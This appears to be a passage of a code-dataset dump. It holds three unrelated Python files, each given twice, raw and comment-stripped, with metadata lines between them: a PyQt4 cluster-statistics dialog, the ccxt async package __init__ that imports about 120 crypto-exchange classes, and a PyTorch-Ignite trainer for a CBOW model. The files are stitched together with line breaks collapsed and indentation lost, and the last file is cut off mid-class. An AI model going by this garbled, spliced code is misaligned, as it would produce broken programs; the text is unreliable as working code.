QLabel(str(line[4])) coord_z.setAlignment(Qt.AlignCenter) extent = QLabel(str(line[5])) extent.setAlignment(Qt.AlignCenter) grid_layout.addWidget(idx, row_idx, 0) grid_layout.addWidget(peak_val, row_idx, 1) grid_layout.addWidget(coord_x, row_idx, 2) grid_layout.addWidget(coord_y, row_idx, 3) grid_layout.addWidget(coord_z, row_idx, 4) grid_layout.addWidget(extent, row_idx, 5) row_idx += 1 # add labels into a scroll area scroll_content.setLayout(grid_layout) scrollarea = QScrollArea() scrollarea.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn) scrollarea.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) #scrollarea.setWidgetResizable(False) scrollarea.setWidget(scroll_content) # button config self.save_button = QPushButton("Export to csv file") self.cancel_button = QPushButton("Close") hbox_layout = QHBoxLayout() hbox_layout.addWidget(self.save_button) hbox_layout.addWidget(self.cancel_button) vbox_layout = QVBoxLayout() vbox_layout.addWidget(scrollarea) vbox_layout.addLayout(hbox_layout) self.setLayout(vbox_layout) def _create_actions(self): self.save_button.clicked.connect(self._save) self.cancel_button.clicked.connect(self.done) def _save(self): """Export cluster stats info to a file.""" path = QFileDialog.getSaveFileName(self, 'Save file as ...', 'output.csv', 'csv files (*.csv *.txt)') if not path.isEmpty(): labels = ['index', 'max value', 'X', 'Y', 'Z', 'size'] csv.nparray2csv(self._cluster_info, labels, path) self.done(0)
36.530973
73
0.61749
from PyQt4.QtCore import * from PyQt4.QtGui import * from froi.io import csv class ClusterStatsDialog(QDialog): def __init__(self, cluster_info, parent=None): super(ClusterStatsDialog, self).__init__(parent) self._cluster_info = cluster_info self.setWindowModality(Qt.NonModal) self.setWindowFlags(Qt.Tool | \ Qt.CustomizeWindowHint | \ Qt.WindowTitleHint) self._init_gui() self._create_actions() def _init_gui(self): self.setWindowTitle("Cluster Stats") scroll_content = QWidget() cluster_idx = QLabel("Index") cluster_idx.setAlignment(Qt.AlignCenter) peak_val = QLabel("Peak") peak_val.setAlignment(Qt.AlignCenter) peak_coord_x = QLabel("Peak_X") peak_coord_x.setAlignment(Qt.AlignCenter) peak_coord_y = QLabel("Peak_Y") peak_coord_y.setAlignment(Qt.AlignCenter) peak_coord_z = QLabel("Peak_Z") peak_coord_z.setAlignment(Qt.AlignCenter) cluster_extent = QLabel("Size") cluster_extent.setAlignment(Qt.AlignCenter) grid_layout = QGridLayout() grid_layout.addWidget(cluster_idx, 0, 0) grid_layout.addWidget(peak_val, 0, 1) grid_layout.addWidget(peak_coord_x, 0, 2) grid_layout.addWidget(peak_coord_y, 0, 3) grid_layout.addWidget(peak_coord_z, 0, 4) grid_layout.addWidget(cluster_extent, 0, 5) row_idx = 1 for line in self._cluster_info: idx = QLabel(str(line[0])) idx.setAlignment(Qt.AlignCenter) peak_val = QLabel(str(line[1])) peak_val.setAlignment(Qt.AlignCenter) coord_x = QLabel(str(line[2])) coord_x.setAlignment(Qt.AlignCenter) coord_y = QLabel(str(line[3])) coord_y.setAlignment(Qt.AlignCenter) coord_z = QLabel(str(line[4])) coord_z.setAlignment(Qt.AlignCenter) extent = QLabel(str(line[5])) extent.setAlignment(Qt.AlignCenter) grid_layout.addWidget(idx, row_idx, 0) grid_layout.addWidget(peak_val, row_idx, 1) grid_layout.addWidget(coord_x, row_idx, 2) grid_layout.addWidget(coord_y, row_idx, 3) grid_layout.addWidget(coord_z, row_idx, 4) grid_layout.addWidget(extent, row_idx, 5) row_idx += 1 scroll_content.setLayout(grid_layout) scrollarea = QScrollArea() scrollarea.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn) scrollarea.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) scrollarea.setWidget(scroll_content) self.save_button = QPushButton("Export to csv file") self.cancel_button = QPushButton("Close") hbox_layout = QHBoxLayout() hbox_layout.addWidget(self.save_button) hbox_layout.addWidget(self.cancel_button) vbox_layout = QVBoxLayout() vbox_layout.addWidget(scrollarea) vbox_layout.addLayout(hbox_layout) self.setLayout(vbox_layout) def _create_actions(self): self.save_button.clicked.connect(self._save) self.cancel_button.clicked.connect(self.done) def _save(self): path = QFileDialog.getSaveFileName(self, 'Save file as ...', 'output.csv', 'csv files (*.csv *.txt)') if not path.isEmpty(): labels = ['index', 'max value', 'X', 'Y', 'Z', 'size'] csv.nparray2csv(self._cluster_info, labels, path) self.done(0)
true
true
f7f3d1cc0bcaf0855bcc3733b5b790d0f5ab37c6
15,745
py
Python
python/ccxt/async_support/__init__.py
inuitwallet/ccxt
0533982cfe5a28d16eb0c12d12aa722cd4d9f841
[ "MIT" ]
null
null
null
python/ccxt/async_support/__init__.py
inuitwallet/ccxt
0533982cfe5a28d16eb0c12d12aa722cd4d9f841
[ "MIT" ]
null
null
null
python/ccxt/async_support/__init__.py
inuitwallet/ccxt
0533982cfe5a28d16eb0c12d12aa722cd4d9f841
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """CCXT: CryptoCurrency eXchange Trading Library (Async)""" # ----------------------------------------------------------------------------- __version__ = '1.32.64' # ----------------------------------------------------------------------------- from ccxt.async_support.base.exchange import Exchange # noqa: F401 from ccxt.base.decimal_to_precision import decimal_to_precision # noqa: F401 from ccxt.base.decimal_to_precision import TRUNCATE # noqa: F401 from ccxt.base.decimal_to_precision import ROUND # noqa: F401 from ccxt.base.decimal_to_precision import DECIMAL_PLACES # noqa: F401 from ccxt.base.decimal_to_precision import SIGNIFICANT_DIGITS # noqa: F401 from ccxt.base.decimal_to_precision import NO_PADDING # noqa: F401 from ccxt.base.decimal_to_precision import PAD_WITH_ZERO # noqa: F401 from ccxt.base import errors # noqa: F401 from ccxt.base.errors import BaseError # noqa: F401 from ccxt.base.errors import ExchangeError # noqa: F401 from ccxt.base.errors import AuthenticationError # noqa: F401 from ccxt.base.errors import PermissionDenied # noqa: F401 from ccxt.base.errors import AccountSuspended # noqa: F401 from ccxt.base.errors import ArgumentsRequired # noqa: F401 from ccxt.base.errors import BadRequest # noqa: F401 from ccxt.base.errors import BadSymbol # noqa: F401 from ccxt.base.errors import BadResponse # noqa: F401 from ccxt.base.errors import NullResponse # noqa: F401 from ccxt.base.errors import InsufficientFunds # noqa: F401 from ccxt.base.errors import InvalidAddress # noqa: F401 from ccxt.base.errors import AddressPending # noqa: F401 from ccxt.base.errors import InvalidOrder # noqa: F401 from ccxt.base.errors import OrderNotFound # noqa: F401 from ccxt.base.errors import OrderNotCached # noqa: F401 from ccxt.base.errors import CancelPending # noqa: F401 from ccxt.base.errors import OrderImmediatelyFillable # noqa: F401 from ccxt.base.errors import OrderNotFillable # noqa: F401 from ccxt.base.errors import DuplicateOrderId # noqa: F401 from ccxt.base.errors import NotSupported # noqa: F401 from ccxt.base.errors import NetworkError # noqa: F401 from ccxt.base.errors import DDoSProtection # noqa: F401 from ccxt.base.errors import RateLimitExceeded # noqa: F401 from ccxt.base.errors import ExchangeNotAvailable # noqa: F401 from ccxt.base.errors import OnMaintenance # noqa: F401 from ccxt.base.errors import InvalidNonce # noqa: F401 from ccxt.base.errors import RequestTimeout # noqa: F401 from ccxt.base.errors import error_hierarchy # noqa: F401 from ccxt.async_support.acx import acx # noqa: F401 from ccxt.async_support.aofex import aofex # noqa: F401 from ccxt.async_support.bcex import bcex # noqa: F401 from ccxt.async_support.bequant import bequant # noqa: F401 from ccxt.async_support.bibox import bibox # noqa: F401 from ccxt.async_support.bigone import bigone # noqa: F401 from ccxt.async_support.binance import binance # noqa: F401 from ccxt.async_support.binanceje import binanceje # noqa: F401 from ccxt.async_support.binanceus import binanceus # noqa: F401 from ccxt.async_support.bit2c import bit2c # noqa: F401 from ccxt.async_support.bitbank import bitbank # noqa: F401 from ccxt.async_support.bitbay import bitbay # noqa: F401 from ccxt.async_support.bitfinex import bitfinex # noqa: F401 from ccxt.async_support.bitfinex2 import bitfinex2 # noqa: F401 from ccxt.async_support.bitflyer import bitflyer # noqa: F401 from ccxt.async_support.bitforex import bitforex # noqa: F401 from ccxt.async_support.bitget import bitget # noqa: F401 from ccxt.async_support.bithumb import bithumb # noqa: F401 from ccxt.async_support.bitkk import bitkk # noqa: F401 from ccxt.async_support.bitmart import bitmart # noqa: F401 from ccxt.async_support.bitmax import bitmax # noqa: F401 from ccxt.async_support.bitmex import bitmex # noqa: F401 from ccxt.async_support.bitpanda import bitpanda # noqa: F401 from ccxt.async_support.bitso import bitso # noqa: F401 from ccxt.async_support.bitstamp import bitstamp # noqa: F401 from ccxt.async_support.bitstamp1 import bitstamp1 # noqa: F401 from ccxt.async_support.bittrex import bittrex # noqa: F401 from ccxt.async_support.bitvavo import bitvavo # noqa: F401 from ccxt.async_support.bitz import bitz # noqa: F401 from ccxt.async_support.bl3p import bl3p # noqa: F401 from ccxt.async_support.bleutrade import bleutrade # noqa: F401 from ccxt.async_support.braziliex import braziliex # noqa: F401 from ccxt.async_support.btcalpha import btcalpha # noqa: F401 from ccxt.async_support.btcbox import btcbox # noqa: F401 from ccxt.async_support.btcmarkets import btcmarkets # noqa: F401 from ccxt.async_support.btctradeua import btctradeua # noqa: F401 from ccxt.async_support.btcturk import btcturk # noqa: F401 from ccxt.async_support.buda import buda # noqa: F401 from ccxt.async_support.bw import bw # noqa: F401 from ccxt.async_support.bybit import bybit # noqa: F401 from ccxt.async_support.bytetrade import bytetrade # noqa: F401 from ccxt.async_support.cex import cex # noqa: F401 from ccxt.async_support.chilebit import chilebit # noqa: F401 from ccxt.async_support.coinbase import coinbase # noqa: F401 from ccxt.async_support.coinbaseprime import coinbaseprime # noqa: F401 from ccxt.async_support.coinbasepro import coinbasepro # noqa: F401 from ccxt.async_support.coincheck import coincheck # noqa: F401 from ccxt.async_support.coinegg import coinegg # noqa: F401 from ccxt.async_support.coinex import coinex # noqa: F401 from ccxt.async_support.coinfalcon import coinfalcon # noqa: F401 from ccxt.async_support.coinfloor import coinfloor # noqa: F401 from ccxt.async_support.coingi import coingi # noqa: F401 from ccxt.async_support.coinmarketcap import coinmarketcap # noqa: F401 from ccxt.async_support.coinmate import coinmate # noqa: F401 from ccxt.async_support.coinone import coinone # noqa: F401 from ccxt.async_support.coinspot import coinspot # noqa: F401 from ccxt.async_support.coss import coss # noqa: F401 from ccxt.async_support.crex24 import crex24 # noqa: F401 from ccxt.async_support.currencycom import currencycom # noqa: F401 from ccxt.async_support.deribit import deribit # noqa: F401 from ccxt.async_support.digifinex import digifinex # noqa: F401 from ccxt.async_support.dsx import dsx # noqa: F401 from ccxt.async_support.eterbase import eterbase # noqa: F401 from ccxt.async_support.exmo import exmo # noqa: F401 from ccxt.async_support.exx import exx # noqa: F401 from ccxt.async_support.fcoin import fcoin # noqa: F401 from ccxt.async_support.fcoinjp import fcoinjp # noqa: F401 from ccxt.async_support.flowbtc import flowbtc # noqa: F401 from ccxt.async_support.foxbit import foxbit # noqa: F401 from ccxt.async_support.ftx import ftx # noqa: F401 from ccxt.async_support.fybse import fybse # noqa: F401 from ccxt.async_support.gateio import gateio # noqa: F401 from ccxt.async_support.gemini import gemini # noqa: F401 from ccxt.async_support.hbtc import hbtc # noqa: F401 from ccxt.async_support.hitbtc import hitbtc # noqa: F401 from ccxt.async_support.hollaex import hollaex # noqa: F401 from ccxt.async_support.huobijp import huobijp # noqa: F401 from ccxt.async_support.huobipro import huobipro # noqa: F401 from ccxt.async_support.huobiru import huobiru # noqa: F401 from ccxt.async_support.ice3x import ice3x # noqa: F401 from ccxt.async_support.idex import idex # noqa: F401 from ccxt.async_support.independentreserve import independentreserve # noqa: F401 from ccxt.async_support.indodax import indodax # noqa: F401 from ccxt.async_support.itbit import itbit # noqa: F401 from ccxt.async_support.kraken import kraken # noqa: F401 from ccxt.async_support.kucoin import kucoin # noqa: F401 from ccxt.async_support.kuna import kuna # noqa: F401 from ccxt.async_support.lakebtc import lakebtc # noqa: F401 from ccxt.async_support.latoken import latoken # noqa: F401 from ccxt.async_support.lbank import lbank # noqa: F401 from ccxt.async_support.liquid import liquid # noqa: F401 from ccxt.async_support.livecoin import livecoin # noqa: F401 from ccxt.async_support.luno import luno # noqa: F401 from ccxt.async_support.lykke import lykke # noqa: F401 from ccxt.async_support.mercado import mercado # noqa: F401 from ccxt.async_support.mixcoins import mixcoins # noqa: F401 from ccxt.async_support.oceanex import oceanex # noqa: F401 from ccxt.async_support.okcoin import okcoin # noqa: F401 from ccxt.async_support.okex import okex # noqa: F401 from ccxt.async_support.paymium import paymium # noqa: F401 from ccxt.async_support.phemex import phemex # noqa: F401 from ccxt.async_support.poloniex import poloniex # noqa: F401 from ccxt.async_support.probit import probit # noqa: F401 from ccxt.async_support.qtrade import qtrade # noqa: F401 from ccxt.async_support.rightbtc import rightbtc # noqa: F401 from ccxt.async_support.southxchange import southxchange # noqa: F401 from ccxt.async_support.stex import stex # noqa: F401 from ccxt.async_support.stronghold import stronghold # noqa: F401 from ccxt.async_support.surbitcoin import surbitcoin # noqa: F401 from ccxt.async_support.therock import therock # noqa: F401 from ccxt.async_support.tidebit import tidebit # noqa: F401 from ccxt.async_support.tidex import tidex # noqa: F401 from ccxt.async_support.timex import timex # noqa: F401 from ccxt.async_support.upbit import upbit # noqa: F401 from ccxt.async_support.vaultoro import vaultoro # noqa: F401 from ccxt.async_support.vbtc import vbtc # noqa: F401 from ccxt.async_support.wavesexchange import wavesexchange # noqa: F401 from ccxt.async_support.whitebit import whitebit # noqa: F401 from ccxt.async_support.xbtce import xbtce # noqa: F401 from ccxt.async_support.xena import xena # noqa: F401 from ccxt.async_support.yobit import yobit # noqa: F401 from ccxt.async_support.zaif import zaif # noqa: F401 from ccxt.async_support.zb import zb # noqa: F401 exchanges = [ 'acx', 'aofex', 'bcex', 'bequant', 'bibox', 'bigone', 'binance', 'binanceje', 'binanceus', 'bit2c', 'bitbank', 'bitbay', 'bitfinex', 'bitfinex2', 'bitflyer', 'bitforex', 'bitget', 'bithumb', 'bitkk', 'bitmart', 'bitmax', 'bitmex', 'bitpanda', 'bitso', 'bitstamp', 'bitstamp1', 'bittrex', 'bitvavo', 'bitz', 'bl3p', 'bleutrade', 'braziliex', 'btcalpha', 'btcbox', 'btcmarkets', 'btctradeua', 'btcturk', 'buda', 'bw', 'bybit', 'bytetrade', 'cex', 'chilebit', 'coinbase', 'coinbaseprime', 'coinbasepro', 'coincheck', 'coinegg', 'coinex', 'coinfalcon', 'coinfloor', 'coingi', 'coinmarketcap', 'coinmate', 'coinone', 'coinspot', 'coss', 'crex24', 'currencycom', 'deribit', 'digifinex', 'dsx', 'eterbase', 'exmo', 'exx', 'fcoin', 'fcoinjp', 'flowbtc', 'foxbit', 'ftx', 'fybse', 'gateio', 'gemini', 'hbtc', 'hitbtc', 'hollaex', 'huobijp', 'huobipro', 'huobiru', 'ice3x', 'idex', 'independentreserve', 'indodax', 'itbit', 'kraken', 'kucoin', 'kuna', 'lakebtc', 'latoken', 'lbank', 'liquid', 'livecoin', 'luno', 'lykke', 'mercado', 'mixcoins', 'oceanex', 'okcoin', 'okex', 'paymium', 'phemex', 'poloniex', 'probit', 'qtrade', 'rightbtc', 'southxchange', 'stex', 'stronghold', 'surbitcoin', 'therock', 'tidebit', 'tidex', 'timex', 'upbit', 'vaultoro', 'vbtc', 'wavesexchange', 'whitebit', 'xbtce', 'xena', 'yobit', 'zaif', 'zb', ] base = [ 'Exchange', 'exchanges', 'decimal_to_precision', ] __all__ = base + errors.__all__ + exchanges
50.790323
86
0.557574
__version__ = '1.32.64' from ccxt.async_support.base.exchange import Exchange from ccxt.base.decimal_to_precision import decimal_to_precision from ccxt.base.decimal_to_precision import TRUNCATE from ccxt.base.decimal_to_precision import ROUND from ccxt.base.decimal_to_precision import DECIMAL_PLACES from ccxt.base.decimal_to_precision import SIGNIFICANT_DIGITS from ccxt.base.decimal_to_precision import NO_PADDING from ccxt.base.decimal_to_precision import PAD_WITH_ZERO from ccxt.base import errors from ccxt.base.errors import BaseError from ccxt.base.errors import ExchangeError from ccxt.base.errors import AuthenticationError from ccxt.base.errors import PermissionDenied from ccxt.base.errors import AccountSuspended from ccxt.base.errors import ArgumentsRequired from ccxt.base.errors import BadRequest from ccxt.base.errors import BadSymbol from ccxt.base.errors import BadResponse from ccxt.base.errors import NullResponse from ccxt.base.errors import InsufficientFunds from ccxt.base.errors import InvalidAddress from ccxt.base.errors import AddressPending from ccxt.base.errors import InvalidOrder from ccxt.base.errors import OrderNotFound from ccxt.base.errors import OrderNotCached from ccxt.base.errors import CancelPending from ccxt.base.errors import OrderImmediatelyFillable from ccxt.base.errors import OrderNotFillable from ccxt.base.errors import DuplicateOrderId from ccxt.base.errors import NotSupported from ccxt.base.errors import NetworkError from ccxt.base.errors import DDoSProtection from ccxt.base.errors import RateLimitExceeded from ccxt.base.errors import ExchangeNotAvailable from ccxt.base.errors import OnMaintenance from ccxt.base.errors import InvalidNonce from ccxt.base.errors import RequestTimeout from ccxt.base.errors import error_hierarchy from ccxt.async_support.acx import acx from ccxt.async_support.aofex import aofex from ccxt.async_support.bcex import bcex from ccxt.async_support.bequant import bequant from ccxt.async_support.bibox import bibox from ccxt.async_support.bigone import bigone from ccxt.async_support.binance import binance from ccxt.async_support.binanceje import binanceje from ccxt.async_support.binanceus import binanceus from ccxt.async_support.bit2c import bit2c from ccxt.async_support.bitbank import bitbank from ccxt.async_support.bitbay import bitbay from ccxt.async_support.bitfinex import bitfinex from ccxt.async_support.bitfinex2 import bitfinex2 from ccxt.async_support.bitflyer import bitflyer from ccxt.async_support.bitforex import bitforex from ccxt.async_support.bitget import bitget from ccxt.async_support.bithumb import bithumb from ccxt.async_support.bitkk import bitkk from ccxt.async_support.bitmart import bitmart from ccxt.async_support.bitmax import bitmax from ccxt.async_support.bitmex import bitmex from ccxt.async_support.bitpanda import bitpanda from ccxt.async_support.bitso import bitso from ccxt.async_support.bitstamp import bitstamp from ccxt.async_support.bitstamp1 import bitstamp1 from ccxt.async_support.bittrex import bittrex from ccxt.async_support.bitvavo import bitvavo from ccxt.async_support.bitz import bitz from ccxt.async_support.bl3p import bl3p from ccxt.async_support.bleutrade import bleutrade from ccxt.async_support.braziliex import braziliex from ccxt.async_support.btcalpha import btcalpha from ccxt.async_support.btcbox import btcbox from ccxt.async_support.btcmarkets import btcmarkets from ccxt.async_support.btctradeua import btctradeua from ccxt.async_support.btcturk import btcturk from ccxt.async_support.buda import buda from ccxt.async_support.bw import bw from ccxt.async_support.bybit import bybit from ccxt.async_support.bytetrade import bytetrade from ccxt.async_support.cex import cex from ccxt.async_support.chilebit import chilebit from ccxt.async_support.coinbase import coinbase from ccxt.async_support.coinbaseprime import coinbaseprime from ccxt.async_support.coinbasepro import coinbasepro from ccxt.async_support.coincheck import coincheck from ccxt.async_support.coinegg import coinegg from ccxt.async_support.coinex import coinex from ccxt.async_support.coinfalcon import coinfalcon from ccxt.async_support.coinfloor import coinfloor from ccxt.async_support.coingi import coingi from ccxt.async_support.coinmarketcap import coinmarketcap from ccxt.async_support.coinmate import coinmate from ccxt.async_support.coinone import coinone from ccxt.async_support.coinspot import coinspot from ccxt.async_support.coss import coss from ccxt.async_support.crex24 import crex24 from ccxt.async_support.currencycom import currencycom from ccxt.async_support.deribit import deribit from ccxt.async_support.digifinex import digifinex from ccxt.async_support.dsx import dsx from ccxt.async_support.eterbase import eterbase from ccxt.async_support.exmo import exmo from ccxt.async_support.exx import exx from ccxt.async_support.fcoin import fcoin from ccxt.async_support.fcoinjp import fcoinjp from ccxt.async_support.flowbtc import flowbtc from ccxt.async_support.foxbit import foxbit from ccxt.async_support.ftx import ftx from ccxt.async_support.fybse import fybse from ccxt.async_support.gateio import gateio from ccxt.async_support.gemini import gemini from ccxt.async_support.hbtc import hbtc from ccxt.async_support.hitbtc import hitbtc from ccxt.async_support.hollaex import hollaex from ccxt.async_support.huobijp import huobijp from ccxt.async_support.huobipro import huobipro from ccxt.async_support.huobiru import huobiru from ccxt.async_support.ice3x import ice3x from ccxt.async_support.idex import idex from ccxt.async_support.independentreserve import independentreserve from ccxt.async_support.indodax import indodax from ccxt.async_support.itbit import itbit from ccxt.async_support.kraken import kraken from ccxt.async_support.kucoin import kucoin from ccxt.async_support.kuna import kuna from ccxt.async_support.lakebtc import lakebtc from ccxt.async_support.latoken import latoken from ccxt.async_support.lbank import lbank from ccxt.async_support.liquid import liquid from ccxt.async_support.livecoin import livecoin from ccxt.async_support.luno import luno from ccxt.async_support.lykke import lykke from ccxt.async_support.mercado import mercado from ccxt.async_support.mixcoins import mixcoins from ccxt.async_support.oceanex import oceanex from ccxt.async_support.okcoin import okcoin from ccxt.async_support.okex import okex from ccxt.async_support.paymium import paymium from ccxt.async_support.phemex import phemex from ccxt.async_support.poloniex import poloniex from ccxt.async_support.probit import probit from ccxt.async_support.qtrade import qtrade from ccxt.async_support.rightbtc import rightbtc from ccxt.async_support.southxchange import southxchange from ccxt.async_support.stex import stex from ccxt.async_support.stronghold import stronghold from ccxt.async_support.surbitcoin import surbitcoin from ccxt.async_support.therock import therock from ccxt.async_support.tidebit import tidebit from ccxt.async_support.tidex import tidex from ccxt.async_support.timex import timex from ccxt.async_support.upbit import upbit from ccxt.async_support.vaultoro import vaultoro from ccxt.async_support.vbtc import vbtc from ccxt.async_support.wavesexchange import wavesexchange from ccxt.async_support.whitebit import whitebit from ccxt.async_support.xbtce import xbtce from ccxt.async_support.xena import xena from ccxt.async_support.yobit import yobit from ccxt.async_support.zaif import zaif from ccxt.async_support.zb import zb exchanges = [ 'acx', 'aofex', 'bcex', 'bequant', 'bibox', 'bigone', 'binance', 'binanceje', 'binanceus', 'bit2c', 'bitbank', 'bitbay', 'bitfinex', 'bitfinex2', 'bitflyer', 'bitforex', 'bitget', 'bithumb', 'bitkk', 'bitmart', 'bitmax', 'bitmex', 'bitpanda', 'bitso', 'bitstamp', 'bitstamp1', 'bittrex', 'bitvavo', 'bitz', 'bl3p', 'bleutrade', 'braziliex', 'btcalpha', 'btcbox', 'btcmarkets', 'btctradeua', 'btcturk', 'buda', 'bw', 'bybit', 'bytetrade', 'cex', 'chilebit', 'coinbase', 'coinbaseprime', 'coinbasepro', 'coincheck', 'coinegg', 'coinex', 'coinfalcon', 'coinfloor', 'coingi', 'coinmarketcap', 'coinmate', 'coinone', 'coinspot', 'coss', 'crex24', 'currencycom', 'deribit', 'digifinex', 'dsx', 'eterbase', 'exmo', 'exx', 'fcoin', 'fcoinjp', 'flowbtc', 'foxbit', 'ftx', 'fybse', 'gateio', 'gemini', 'hbtc', 'hitbtc', 'hollaex', 'huobijp', 'huobipro', 'huobiru', 'ice3x', 'idex', 'independentreserve', 'indodax', 'itbit', 'kraken', 'kucoin', 'kuna', 'lakebtc', 'latoken', 'lbank', 'liquid', 'livecoin', 'luno', 'lykke', 'mercado', 'mixcoins', 'oceanex', 'okcoin', 'okex', 'paymium', 'phemex', 'poloniex', 'probit', 'qtrade', 'rightbtc', 'southxchange', 'stex', 'stronghold', 'surbitcoin', 'therock', 'tidebit', 'tidex', 'timex', 'upbit', 'vaultoro', 'vbtc', 'wavesexchange', 'whitebit', 'xbtce', 'xena', 'yobit', 'zaif', 'zb', ] base = [ 'Exchange', 'exchanges', 'decimal_to_precision', ] __all__ = base + errors.__all__ + exchanges
true
true
f7f3d36dcda8df9b31be28c1918c0750cf89e48f
4,916
py
Python
cbow/cbow/trainer.py
sudarshan85/nlpbook
41e59d706fb31f5185a0133789639ccffbddb41f
[ "Apache-2.0" ]
null
null
null
cbow/cbow/trainer.py
sudarshan85/nlpbook
41e59d706fb31f5185a0133789639ccffbddb41f
[ "Apache-2.0" ]
null
null
null
cbow/cbow/trainer.py
sudarshan85/nlpbook
41e59d706fb31f5185a0133789639ccffbddb41f
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python import csv import datetime from argparse import Namespace from pathlib import Path from ignite.engine import Events, create_supervised_trainer, create_supervised_evaluator from ignite.metrics import RunningAverage from ignite.handlers import EarlyStopping, ModelCheckpoint, Timer from ignite.contrib.handlers import ProgressBar from .model import ModelContainer from .dataset import DataContainer class IgniteTrainer(object): def __init__(self, mc: ModelContainer, dc: DataContainer, consts: Namespace, pbar: ProgressBar, metrics: dict={}) -> None: # retreive required constants from consts self.model_dir = consts.model_dir self.metrics_file = consts.metric_file self.patience = consts.early_stopping_criteria self.n_epochs = consts.num_epochs self.device = consts.device self.prefix = consts.checkpointer_prefix self.model_name = consts.checkpointer_name self.save_interval = consts.save_every self.n_saved = consts.save_total # get model and data details self.model = mc.model self.optimizer = mc.optimizer self.scheduler = mc.scheduler self.loss_fn = mc.loss_fn self.train_dl = dc.train_dl self.val_dl = dc.val_dl # create trainers and evaluators self.trainer = create_supervised_trainer(self.model, self.optimizer, self.loss_fn, device=self.device) self.train_eval = create_supervised_evaluator(self.model, metrics=metrics, device=self.device) self.val_eval = create_supervised_evaluator(self.model, metrics=metrics, device=self.device) # set loss to be shown in progress bar self.pbar = pbar RunningAverage(output_transform=lambda x: x).attach(self.trainer, 'loss') self.pbar.attach(self.trainer, ['loss']) # setup timers self.epoch_timer = Timer(average=True) self.epoch_timer.attach(self.trainer, start=Events.EPOCH_COMPLETED, resume=Events.ITERATION_STARTED, pause=Events.ITERATION_COMPLETED, step=Events.ITERATION_COMPLETED) self.training_timer = Timer() self.training_timer.attach(self.trainer) # setup early stopping and checkpointer early_stopping = EarlyStopping(patience=self.patience, score_function=self.score_fn, trainer=self.trainer) checkpointer = ModelCheckpoint(self.model_dir, self.prefix, require_empty=False, save_interval=self.save_interval, n_saved=self.n_saved, save_as_state_dict=True) # add all the event handlers self.trainer.add_event_handler(Events.STARTED, self._open_csv) self.trainer.add_event_handler(Events.EPOCH_COMPLETED, self._log_epoch) self.trainer.add_event_handler(Events.EPOCH_COMPLETED, checkpointer, {self.model_name: self.model}) self.trainer.add_event_handler(Events.COMPLETED, self._close_csv) # self.trainer.add_event_handler(Events.ITERATION_COMPLETED, self._log_training_loss) self.val_eval.add_event_handler(Events.COMPLETED, early_stopping) self.val_eval.add_event_handler(Events.COMPLETED, self._scheduler_step) def _open_csv(self, engine): self.fp = open(self.metrics_file, 'w') self.writer = csv.writer(self.fp) row = ['epoch', 'training_loss', 'training_acc', 'validation_loss', 'validation_acc'] self.writer.writerow(row) def _scheduler_step(self, engine): self.scheduler.step(engine.state.metrics['loss']) def _log_training_loss(self, engine): iteration = (engine.state.iteration-1) % len(self.train_dl) + 1 if iteration % 100 == 0: self.pbar.log_message(f"ITERATION - loss: {engine.state.output:0.4f}") def _log_epoch(self, engine): self.epoch_timer.reset() self.train_eval.run(self.train_dl) self.val_eval.run(self.val_dl) epoch = engine.state.epoch train_metric = self.train_eval.state.metrics valid_metric = self.val_eval.state.metrics train_loss = f"{self.train_eval.state.metrics['loss']:0.3f}" train_acc = f"{self.train_eval.state.metrics['accuracy']:0.3f}" valid_loss = f"{self.val_eval.state.metrics['loss']:0.3f}" valid_acc = f"{self.val_eval.state.metrics['accuracy']:0.3f}" self.pbar.log_message(f"Epoch: {epoch}") self.pbar.log_message(f"Training - Loss: {train_loss}, Accuracy: {train_acc}") self.pbar.log_message(f"Validation - Loss: {valid_loss}, Accuracy: {valid_acc}") self.pbar.log_message(f"Time per batch {self.epoch_timer.value():0.3f}[s]") row = [epoch, f"{train_loss}", f"{train_acc}", f"{valid_loss}", f"{valid_acc}"] self.writer.writerow(row) def _close_csv(self, engine): train_time = str(datetime.timedelta(seconds=self.training_timer.value())) self.pbar.log_message(f"Training Done. Total training time: {train_time}") self.fp.write(f"{train_time}\n") self.fp.close() def run(self): self.trainer.run(self.train_dl, self.n_epochs) @staticmethod def score_fn(engine): valid_loss = engine.state.metrics['loss'] return -valid_loss
39.645161
104
0.740643
import csv import datetime from argparse import Namespace from pathlib import Path from ignite.engine import Events, create_supervised_trainer, create_supervised_evaluator from ignite.metrics import RunningAverage from ignite.handlers import EarlyStopping, ModelCheckpoint, Timer from ignite.contrib.handlers import ProgressBar from .model import ModelContainer from .dataset import DataContainer class IgniteTrainer(object): def __init__(self, mc: ModelContainer, dc: DataContainer, consts: Namespace, pbar: ProgressBar, metrics: dict={}) -> None: self.model_dir = consts.model_dir self.metrics_file = consts.metric_file self.patience = consts.early_stopping_criteria self.n_epochs = consts.num_epochs self.device = consts.device self.prefix = consts.checkpointer_prefix self.model_name = consts.checkpointer_name self.save_interval = consts.save_every self.n_saved = consts.save_total self.model = mc.model self.optimizer = mc.optimizer self.scheduler = mc.scheduler self.loss_fn = mc.loss_fn self.train_dl = dc.train_dl self.val_dl = dc.val_dl self.trainer = create_supervised_trainer(self.model, self.optimizer, self.loss_fn, device=self.device) self.train_eval = create_supervised_evaluator(self.model, metrics=metrics, device=self.device) self.val_eval = create_supervised_evaluator(self.model, metrics=metrics, device=self.device) self.pbar = pbar RunningAverage(output_transform=lambda x: x).attach(self.trainer, 'loss') self.pbar.attach(self.trainer, ['loss']) self.epoch_timer = Timer(average=True) self.epoch_timer.attach(self.trainer, start=Events.EPOCH_COMPLETED, resume=Events.ITERATION_STARTED, pause=Events.ITERATION_COMPLETED, step=Events.ITERATION_COMPLETED) self.training_timer = Timer() self.training_timer.attach(self.trainer) early_stopping = EarlyStopping(patience=self.patience, score_function=self.score_fn, trainer=self.trainer) checkpointer = ModelCheckpoint(self.model_dir, self.prefix, require_empty=False, save_interval=self.save_interval, n_saved=self.n_saved, save_as_state_dict=True) self.trainer.add_event_handler(Events.STARTED, self._open_csv) self.trainer.add_event_handler(Events.EPOCH_COMPLETED, self._log_epoch) self.trainer.add_event_handler(Events.EPOCH_COMPLETED, checkpointer, {self.model_name: self.model}) self.trainer.add_event_handler(Events.COMPLETED, self._close_csv) self.val_eval.add_event_handler(Events.COMPLETED, early_stopping) 